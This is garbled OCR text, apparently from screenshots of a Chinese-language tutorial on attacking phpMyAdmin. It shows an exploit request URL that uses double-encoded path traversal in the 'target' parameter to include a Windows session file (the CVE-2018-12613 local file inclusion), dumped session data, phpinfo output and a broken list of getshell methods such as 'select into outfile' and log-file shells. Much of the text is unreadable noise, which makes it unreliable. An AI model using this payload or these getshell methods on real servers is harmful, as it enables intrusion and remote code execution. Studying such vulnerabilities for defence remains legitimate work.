127.0.0.1/php/index.php?target=db_sql.php%253f/././../.1 ./ ./Users/ximor:/AppData/Local/VirtualStore/Windows/sess jh91s.. @ v | ! | | |
min
G| WEES sal #ah mAe S#= SAS EES mel zmEe PEES AR . mek
PMA_token [s:16:"", i
-

“hilisi12:°db_to_create”;si:"";5:30."dbs_where_create_table_allowed";ail:
s:11:"binary_logs";a:0:{}s:18:"menu-level
<" it s 1 replication*;si6:" B

10:"table pnv bi1;s:8:" ml priv
;talus‘.— 3

{s:15:"userprefs_mtim:
{s:4:"lang"is:5:"zh_CN™;
{s:7:"only_db

il J0a
5.4 'Mode ts:B: " collapse™jsiimServersa :
2."Baf367146e3868%a512a6546e9b0b5d5";a:

serconfigla:2:{s:2:"db";a:2:
2

*Console/Mode™;s: &‘(cllapse

hidle_db®s:0:""}itmpvalla: 3:s: :{s:3:"sql";s:23:"SELECT *

PHP Version 5.6.1

|\’l‘1ﬂdm NT DESKTOP-TTSAHES 6.2 build 9200 (Windows 8 Business Edition) 586

Build Date | Sep 24 2014 18:53:09
MSVCTT (Visual C++ 2012)
Architecture xB6.

cxeript fnolaga configure s “--snable-snapehot-build” “-enable-debug-pack™ *--disable-zts “—disable-izapi- -
dizable-nsapi” “--without- mﬂql" -without- pdn.mq\ - -wi&mul\-plimd:' *~—with-po-oci=ci\php-
Ll Configure Command i i 12, e

asole Network Sources Performance Memory Application Security Audits ScanAnnatation HackBar Augury

sserve log ) Disablecache  Online  * | & #

) tiide data URLs [[)| XHR JS €55 Img Media Font Doc WS Manifest Other [J Has blocked cookies

4000 ms 6000 ms 8000 m= 10000 ms 12000 ms 14000 ms 16000 ms 18000 ms 20000 ms 22000 m= 24000 ms 26000 ms
| !

X Headers Preview Response Initistor Timing Cookies

%6253 * | v General

Request URL: http://127.8.8.1/php/index.php?target=db_sql.phpX253f/. /. ./ ../../ ../ . ./Users fumrec /AppData/Local / /Windows/sess_jh91
Request Method: GET

RSN ERNMREZXTEER, BXHARET, TEPERFTELGSKEINEMER, =
EEEMH (Fa, J:%E’\J)—*')



EEEIN

1. A% phpmyadmin ZEHREHARAS
or

2. 1% T .
BB —LE phpmyadmin2.x IR ASEYRIE, IRARZE T, XEFAIRT ,

&4 4=

==

1. select into outfile EZEE A
2. FEEZBHE getshell
3. {EAIEEINHE getsehll

4. phpmyadmin 4.0.x—4.6.2 2 BEHN1TRE (CVE-2016
~-5734)

5. phpmyadmin 4.8.1 izf2X {4 & EiFKE (CVE-2018-1261
3)

M EREHEEEMmAE.



